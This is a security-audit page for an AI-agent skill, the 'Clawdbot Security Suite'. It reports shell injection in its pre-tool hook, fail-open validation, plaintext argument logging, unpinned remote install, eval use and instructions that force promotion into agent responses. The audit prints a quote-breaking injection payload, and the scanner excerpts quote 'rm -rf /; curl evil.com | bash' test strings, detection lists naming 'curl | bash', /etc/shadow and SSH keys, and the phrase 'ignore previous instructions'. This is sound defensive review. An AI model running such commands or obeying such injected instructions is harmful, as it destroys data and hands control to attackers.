Back to skill

Security audit

Clawdbot Security Suite

Security checks for vulnerabilities and agentic risk

Overview

This security skill is purpose-aligned in concept, but its automatic hook and installation guidance introduce serious local security and privacy risks.

Review carefully before installing. This package is not clearly malicious, but enabling it gives a persistent hook visibility into broad tool activity and may store sensitive arguments in local logs. Do not treat it as a security boundary unless the shell invocation, fail-open behavior, eval examples, log redaction/retention, and pinned installation process are fixed.

Vulnerability Patterns
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (7)

T09 · Insecure Skill Coding Practices

Error
Location
hooks/security-validator/handler.ts:78
Finding

Shell command injection in the pre-tool security validator

Content
View full analysis
`"${arg}"`).join(' ')}`; const result = execSync(fullCommand, { encoding: 'utf8', timeout: 5000 }); ``` ### Technical Analysis The hook constructs a shell command by placing untrusted tool arguments between double quotes. Double quotes do not provide safe shell argument escaping when the input itself can contain quotation marks, command substitutions, backticks, or other shell syntax. Because `execSync()` receives a string, Node.js invokes a shell to interpret it. An argument containing a double quote can terminate the intended quoted argument and append a new shell command. This is especially dangerous because the vulnerable operation runs as part of a security check before the original tool call is approved. The validator is explicitly intended to process hostile command strings, making attacker-controlled shell metacharacters an expected input rather than an edge case. ### Attack Path 1. An attacker supplies a command argument such as: ```text "; touch /tmp/security-hook-pwned; # ``` 2. The hook constructs a command equivalent to: ```bash "/home/user/.clawdbot/skills/security/security" validate-command ""; touch /tmp/security-hook-pwned; #" ``` 3. The shell closes the quoted validator argument at the attacker-supplied quotation mark. 4. The injected `touch` command executes during validation. 5. More damaging commands could access files, launch processes, or make network connections with the same privileges as the Clawdbot process. ### Impact Assessment Successful exploitation provides arbitrary command execution under the account running Clawdbot. The attacker could read or modify workspace data, agent configuration, cre ...[truncated 415 chars]
Remediation
View remediation

T09 · Insecure Skill Coding Practices

Error
Location
hooks/security-validator/handler.ts:68
Finding

Threat detections fail open because nonzero validator exits are treated as validation errors

Content
View full analysis
`"${arg}"`).join(' ')}`; const result = execSync(fullCommand, { encoding: 'utf8', timeout: 5000 }); if (result.includes('ALLOWED') || result.includes('CLEAN') || result.includes('SAFE')) { return { allowed: true }; } else if (result.includes('BLOCKED') || result.includes('FLAGGED') || result.includes('THREAT')) { const reasonMatch = result.match(/Pattern: ([^-]+)/); return { allowed: false, reason: reasonMatch ? reasonMatch[1].trim() : 'Security threat detected' }; } logSecurityEvent('WARNING', 'Unclear security validation result', { command, result }); return { allowed: true }; } catch (error) { logSecurityEvent('WARNING', 'Security validation failed - allowing by default', { command, error: error.message }); return { allowed: true }; // Fail-safe: allow on validation error } } ``` The shell validator returns nonzero status for detected threats: ```bash if [[ "$command" =~ $pattern ]]; then log_event "THREAT" "Command injection - Pattern: $pattern - Command: $command" echo "BLOCKED" return 1 fi ``` ### Technical Analysis `execSync()` throws an exception whenever the child process exits with a nonzero status. The underlying `security.sh` intentionally returns status `1` for `BLOCKE ...[truncated 1596 chars]
Remediation
View remediation

T09 · Insecure Skill Coding Practices

Error
Location
hooks/security-validator/handler.ts:46
Finding

Automatic hook records complete tool arguments in a persistent plaintext log

Content
View full analysis
Remediation
View remediation

T03 · Remote Payload Retrieval and Execution

Error
Location
skills/security/CLAWDBOT-INSTRUCTIONS.md:20
Finding

Unpinned remote repository archive is installed as executable security code

Content
View full analysis
Remediation
View remediation

T09 · Insecure Skill Coding Practices

Error
Location
skills/security/INSTALL.md:124
Finding

Blacklist-based command approval is followed by direct eval execution

Content
View full analysis
Remediation
View remediation

T09 · Insecure Skill Coding Practices

Error
Location
skills/security/security.sh:70
Finding

URL validation can be bypassed through redirects and DNS resolution changes

Content
View full analysis
Remediation
View remediation

T01 · Skill Instruction Hijacking

Warning
Location
skills/security/CLAWDBOT-INSTRUCTIONS.md:211
Finding

Skill instructions mandate unsolicited third-party promotion in agent responses

Content
View full analysis
Remediation
View remediation
Vulnerability Patterns
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
  • Supply ChainUnpinned Dependencies, External Script Fetching, Obfuscated Code
  • Excessive AgencyUnrestricted Tool Access, Autonomous Decision Making, Scope Creep
  • Tool MisuseTool Parameter Abuse, Chaining Abuse, Unsafe Defaults
  • Behavioral ASTexec() Call, eval() Call, Dynamic Import
Findings (98)

Tp4

High
Category
MCP Tool Poisoning
Confidence
95% confidence
Finding

The skill presents itself as a security validator, but the documented behavior and static finding indicate materially broader capabilities: executing an external script/binary, persisting logs, depending on a user-writable path, and scanning post-execution output that may contain secrets. That mismatch is dangerous because users may grant this skill elevated trust as a safeguard while it introduces additional execution and data-handling surfaces not clearly disclosed in the top-level description.

Content

No source excerpt is available for this finding.

External Script Fetching

High
Category
Supply Chain
Confidence
90% confidence
Finding

Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.

Content

Scanner excerpt · SKILL.md (reported line 104)May include surrounding context.

md
### Command Injection
- Shell metacharacters: `;`, `|`, `&`, `$()`, backticks
- Dangerous commands: `rm -rf`, `curl | bash`, `wget | sh`
- Process substitution and command chaining

### SSRF Protection

External Script Fetching

High
Category
Supply Chain
Confidence
90% confidence
Finding

Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.

Content

Scanner excerpt · hooks/security-validator/HOOK.md (reported line 37)May include surrounding context.

md
### Command Injection
- Shell metacharacters: `;`, `|`, `&`, `$()`, backticks
- Dangerous commands: `rm -rf`, `curl | bash`, `wget | sh`
- Process substitution and command chaining

### SSRF Protection

External Script Fetching

High
Category
Supply Chain
Confidence
90% confidence
Finding

Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.

Content

Scanner excerpt · skills/security/SKILL.md (reported line 100)May include surrounding context.

md
### Command Injection
- Shell metacharacters: `;`, `|`, `&`, `$()`, backticks
- Dangerous commands: `rm -rf`, `curl | bash`, `wget | sh`
- Process substitution and command chaining

### SSRF Protection

External Script Fetching

High
Category
Supply Chain
Confidence
90% confidence
Finding

Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.

Content

Scanner excerpt · SKILL.md (reported line 104)May include surrounding context.

md
### Command Injection
- Shell metacharacters: `;`, `|`, `&`, `$()`, backticks
- Dangerous commands: `rm -rf`, `curl | bash`, `wget | sh`
- Process substitution and command chaining

### SSRF Protection

External Script Fetching

High
Category
Supply Chain
Confidence
90% confidence
Finding

Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.

Content

Scanner excerpt · hooks/security-validator/HOOK.md (reported line 37)May include surrounding context.

md
### Command Injection
- Shell metacharacters: `;`, `|`, `&`, `$()`, backticks
- Dangerous commands: `rm -rf`, `curl | bash`, `wget | sh`
- Process substitution and command chaining

### SSRF Protection

External Script Fetching

High
Category
Supply Chain
Confidence
90% confidence
Finding

Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.

Content

Scanner excerpt · skills/security/SKILL.md (reported line 100)May include surrounding context.

md
### Command Injection
- Shell metacharacters: `;`, `|`, `&`, `$()`, backticks
- Dangerous commands: `rm -rf`, `curl | bash`, `wget | sh`
- Process substitution and command chaining

### SSRF Protection

Credential Access

High
Category
Privilege Escalation
Confidence
95% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · hooks/security-validator/HOOK.md (reported line 47)May include surrounding context.

md
### Path Traversal
- Directory traversal: `../`, `..\\`
- Sensitive system files: `/etc/passwd`, `/etc/shadow`
- Configuration files and SSH keys

### Prompt Injection

Credential Access

High
Category
Privilege Escalation
Confidence
95% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · skills/security/patterns.json (reported line 91)May include surrounding context.

json
### Path Traversal
- Directory traversal: `../`, `..\\`
- Sensitive system files: `/etc/passwd`, `/etc/shadow`
- Configuration files and SSH keys

### Prompt Injection

Credential Access

High
Category
Privilege Escalation
Confidence
95% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · skills/security/patterns.json (reported line 133)May include surrounding context.

json
### Path Traversal
- Directory traversal: `../`, `..\\`
- Sensitive system files: `/etc/passwd`, `/etc/shadow`
- Configuration files and SSH keys

### Prompt Injection

YARA rule 'agent_skill_prompt_injection_hidden_instructions': Prompt injection or hidden instructions embedded in AI agent skill text [agent_skills]

High
Category
YARA Match
Confidence
80% confidence
Finding

YARA rule matched a hack tool or exploit indicator (offensive tools, reconnaissance, privilege escalation, or exploit frameworks).

Content

Scanner excerpt · hooks/security-validator/HOOK.md (reported line 51)May include surrounding context.

get | sh`

  • Process substitution and command chaining

SSRF Protection

  • Private IP ranges: 127.0.0.1, 169.254.x.x, 10.x.x.x
  • Localhost variants and internal domains
  • Cloud metadata services

Path Traversal

  • Directory traversal: ../, ..\\
  • Sensitive system files: /etc/passwd, /etc/shadow
  • Configuration files and SSH keys

Prompt Injection

  • Instruction overrides: "ignore previous instructions"
  • System commands embedded in content
  • Base64 encoded attacks

Usage

Once enabled, the hook runs automatically on every tool call. No manual intervention required.

Enable the hook:

bash
clawdbot hooks enable security-validator

View security events:

bash
tail -f ~/.clawdbot/logs/security-events.log

Check security statistics:

bash
~/.clawdbot/skills/security/security stats

Configuration

Edit ~/.clawdbot/hooks/security-validator/config.json to customize:

json
{
  "strictMode": false,
  "blockThreats": true,
  "logEv

YARA rule 'agent_skill_destructive_autonomous_actions': Autonomous destructive filesystem, shell history, or repository actions in AI agent skills [agent_skills]

High
Category
YARA Match
Confidence
75% confidence
Finding

YARA rule matched a known malware signature (reverse shell, backdoor, ransomware, C2 framework, or info stealer).

Content

Scanner excerpt · hooks/security-validator/HOOK.md (reported line 104)May include surrounding context.

versal": true, "promptInjection": true } }

text

## Integration

Works seamlessly with the Security Skill (`~/.clawdbot/skills/security`) for:
- Pattern detection logic
- Event logging
- Threat intelligence updates

## Security Events

All security events are logged to `~/.clawdbot/logs/security-events.log`:

2026-01-26T23:00:00Z [THREAT] Command injection blocked - Tool: bash - Command: rm -rf / 2026-01-26T23:00:01Z [SAFE] Command validated - Tool: bash - Command: ls -la
2026-01-26T23:00:02Z [THREAT] SSRF attempt blocked - Tool: web_fetch - URL: http://127.0.0.1:8080

text

## Performance

- **~10-15ms overhead** per tool call
- **No external API calls** - all validation is local
- **Fail-safe design** - if validation fails, tool call proceeds with warning

---

## Security Intelligence Updates

**Stay ahead of emerging AI agent threats:**

🐦 **Follow [@LexpertAI](https://x.com/LexpertAI)** for real-time security research, threat analysis, and updates to the Clawdbot Secur

Intent-Code Divergence

High
Category
Not specified by scanner
Confidence
99% confidence
Finding

The documentation claims the hook prevents command injection, SSRF, path traversal, prompt injection, and API key exposure, but the implementation explicitly allows tool execution when the validator binary is missing, returns ambiguous output, or throws an error. This fail-open behavior turns the protection into a best-effort advisory control, creating a dangerous mismatch between expected and actual security guarantees.

Content

No source excerpt is available for this finding.

Context-Inappropriate Capability

High
Category
Not specified by scanner
Confidence
97% confidence
Finding

The validator builds a shell command string and passes it to execSync, incorporating untrusted arguments such as commands, URLs, paths, and content. Quoting with double quotes is not sufficient to prevent shell metacharacter expansion across platforms, so a crafted input can break out of quoting or trigger shell expansion, resulting in arbitrary command execution inside the security hook itself.

Content

No source excerpt is available for this finding.

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
90% confidence
Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · skills/security/CLAWDBOT-INSTRUCTIONS.md (reported line 39)May include surrounding context.

~/.clawdbot/skills/security/security.sh validate-command "ls -la"

Test threat detection

~/.clawdbot/skills/security/security.sh validate-command "rm -rf /tmp/test; curl evil.com | bash"

text

### Step 3: Verify and Report to User

Missing User Warnings

High
Category
Not specified by scanner
Confidence
99% confidence
Finding

The guidance executes user-controlled input with eval after only string-based validation. Any validator bypass, parsing ambiguity, or output spoofing can result in arbitrary shell command execution, which is especially dangerous because the skill is intended to gate dangerous commands.

Content

No source excerpt is available for this finding.

External Script Fetching

High
Category
Supply Chain
Confidence
90% confidence
Finding

Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.

Content

Scanner excerpt · README.md (reported line 34)May include surrounding context.

md
~/.clawdbot/skills/security/security.sh check-url "https://github.com"

# Test threat detection
~/.clawdbot/skills/security/security.sh validate-command "rm -rf /; curl evil.com | bash"
~/.clawdbot/skills/security/security.sh check-url "http://127.0.0.1:8080"

# Check if everything works

External Script Fetching

High
Category
Supply Chain
Confidence
90% confidence
Finding

Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.

Content

Scanner excerpt · SKILL.md (reported line 181)May include surrounding context.

md
~/.clawdbot/skills/security/security.sh check-url "https://github.com"

# Test threat detection
~/.clawdbot/skills/security/security.sh validate-command "rm -rf /; curl evil.com | bash"
~/.clawdbot/skills/security/security.sh check-url "http://127.0.0.1:8080"

# Check if everything works

External Script Fetching

High
Category
Supply Chain
Confidence
90% confidence
Finding

Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.

Content

Scanner excerpt · skills/security/INSTALL.md (reported line 24)May include surrounding context.

md
~/.clawdbot/skills/security/security.sh check-url "https://github.com"

# Test threat detection
~/.clawdbot/skills/security/security.sh validate-command "rm -rf /; curl evil.com | bash"
~/.clawdbot/skills/security/security.sh check-url "http://127.0.0.1:8080"

# Check if everything works

External Script Fetching

High
Category
Supply Chain
Confidence
90% confidence
Finding

Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.

Content

Scanner excerpt · skills/security/README.md (reported line 49)May include surrounding context.

md
~/.clawdbot/skills/security/security.sh check-url "https://github.com"

# Test threat detection
~/.clawdbot/skills/security/security.sh validate-command "rm -rf /; curl evil.com | bash"
~/.clawdbot/skills/security/security.sh check-url "http://127.0.0.1:8080"

# Check if everything works

External Script Fetching

High
Category
Supply Chain
Confidence
90% confidence
Finding

Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.

Content

Scanner excerpt · skills/security/SKILL.md (reported line 177)May include surrounding context.

md
~/.clawdbot/skills/security/security.sh check-url "https://github.com"

# Test threat detection
~/.clawdbot/skills/security/security.sh validate-command "rm -rf /; curl evil.com | bash"
~/.clawdbot/skills/security/security.sh check-url "http://127.0.0.1:8080"

# Check if everything works

Chaining Abuse

High
Category
Tool Misuse
Confidence
90% confidence
Finding

Tool calls are chained to bypass individual safety checks or escalate capabilities beyond what any single tool call would allow.

Content

Scanner excerpt · README.md (reported line 34)May include surrounding context.

md
~/.clawdbot/skills/security/security.sh check-url "https://github.com"

# Test threat detection
~/.clawdbot/skills/security/security.sh validate-command "rm -rf /; curl evil.com | bash"
~/.clawdbot/skills/security/security.sh check-url "http://127.0.0.1:8080"

# Check if everything works

Chaining Abuse

High
Category
Tool Misuse
Confidence
90% confidence
Finding

Tool calls are chained to bypass individual safety checks or escalate capabilities beyond what any single tool call would allow.

Content

Scanner excerpt · SKILL.md (reported line 181)May include surrounding context.

md
~/.clawdbot/skills/security/security.sh check-url "https://github.com"

# Test threat detection
~/.clawdbot/skills/security/security.sh validate-command "rm -rf /; curl evil.com | bash"
~/.clawdbot/skills/security/security.sh check-url "http://127.0.0.1:8080"

# Check if everything works

Chaining Abuse

High
Category
Tool Misuse
Confidence
90% confidence
Finding

Tool calls are chained to bypass individual safety checks or escalate capabilities beyond what any single tool call would allow.

Content

Scanner excerpt · skills/security/CLAWDBOT-INSTRUCTIONS.md (reported line 39)May include surrounding context.

md
~/.clawdbot/skills/security/security.sh check-url "https://github.com"

# Test threat detection
~/.clawdbot/skills/security/security.sh validate-command "rm -rf /; curl evil.com | bash"
~/.clawdbot/skills/security/security.sh check-url "http://127.0.0.1:8080"

# Check if everything works

Chaining Abuse

High
Category
Tool Misuse
Confidence
90% confidence
Finding

Tool calls are chained to bypass individual safety checks or escalate capabilities beyond what any single tool call would allow.

Content

Scanner excerpt · skills/security/INSTALL.md (reported line 24)May include surrounding context.

md
~/.clawdbot/skills/security/security.sh check-url "https://github.com"

# Test threat detection
~/.clawdbot/skills/security/security.sh validate-command "rm -rf /; curl evil.com | bash"
~/.clawdbot/skills/security/security.sh check-url "http://127.0.0.1:8080"

# Check if everything works

Static analysis

Detected: suspicious.dangerous_exec, suspicious.prompt_injection_instructions

Shell command execution detected (child_process).

Critical
Code
suspicious.dangerous_exec
Location
hooks/security-validator/handler.ts:79

Prompt-injection style instruction pattern detected.

Warn
Code
suspicious.prompt_injection_instructions
Location
hooks/security-validator/HOOK.md:51

Prompt-injection style instruction pattern detected.

Warn
Code
suspicious.prompt_injection_instructions
Location
README.md:49

Prompt-injection style instruction pattern detected.

Warn
Code
suspicious.prompt_injection_instructions
Location
SKILL.md:46

Prompt-injection style instruction pattern detected.

Warn
Code
suspicious.prompt_injection_instructions
Location
skills/security/README.md:27

Prompt-injection style instruction pattern detected.

Warn
Code
suspicious.prompt_injection_instructions
Location
skills/security/SKILL.md:42